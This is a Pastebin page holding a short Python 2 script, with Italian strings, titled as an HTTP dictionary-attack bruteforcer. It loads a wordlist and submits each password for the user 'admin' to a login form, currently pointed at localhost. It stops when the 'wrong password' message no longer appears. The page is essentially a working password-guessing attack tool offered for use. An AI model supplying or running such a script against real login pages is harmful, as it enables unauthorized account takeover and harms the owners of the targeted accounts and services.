Driverfury

pyBrute.py - Bruteforce HTTP (Dictionary Attack)

Feb 20th, 2016
3,517
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import urllib
  2.  
  3. url = "http://127.0.0.1/login.php"
  4.  
  5. username = "admin"
  6. listaPassword = "lista.txt"
  7.  
  8. pwd = []
  9. f = open(listaPassword, "r")
  10. pwd = f.readlines()
  11. f.close()
  12.  
  13. for i in range(0, len(pwd)):
  14.     if pwd[i][len(pwd[i])-1] == '\n':
  15.         pwd[i] = pwd[i][0:len(pwd[i])-1]
  16.  
  17. messaggioDiErrore = "Password errata"
  18.  
  19. for password in pwd:
  20.     print "Sto testando la password:", password
  21.     parametriDaTestare = { "username" : username, "password" : password, "login" : "1" }
  22.     p= urllib.urlencode(parametriDaTestare)
  23.     paginaDiAction = urllib.urlopen(url, p)
  24.     risultato = paginaDiAction.read()
  25.     if not(messaggioDiErrore in risultato):
  26.         print "Password trovata:", password
  27.         break
RAW Paste Data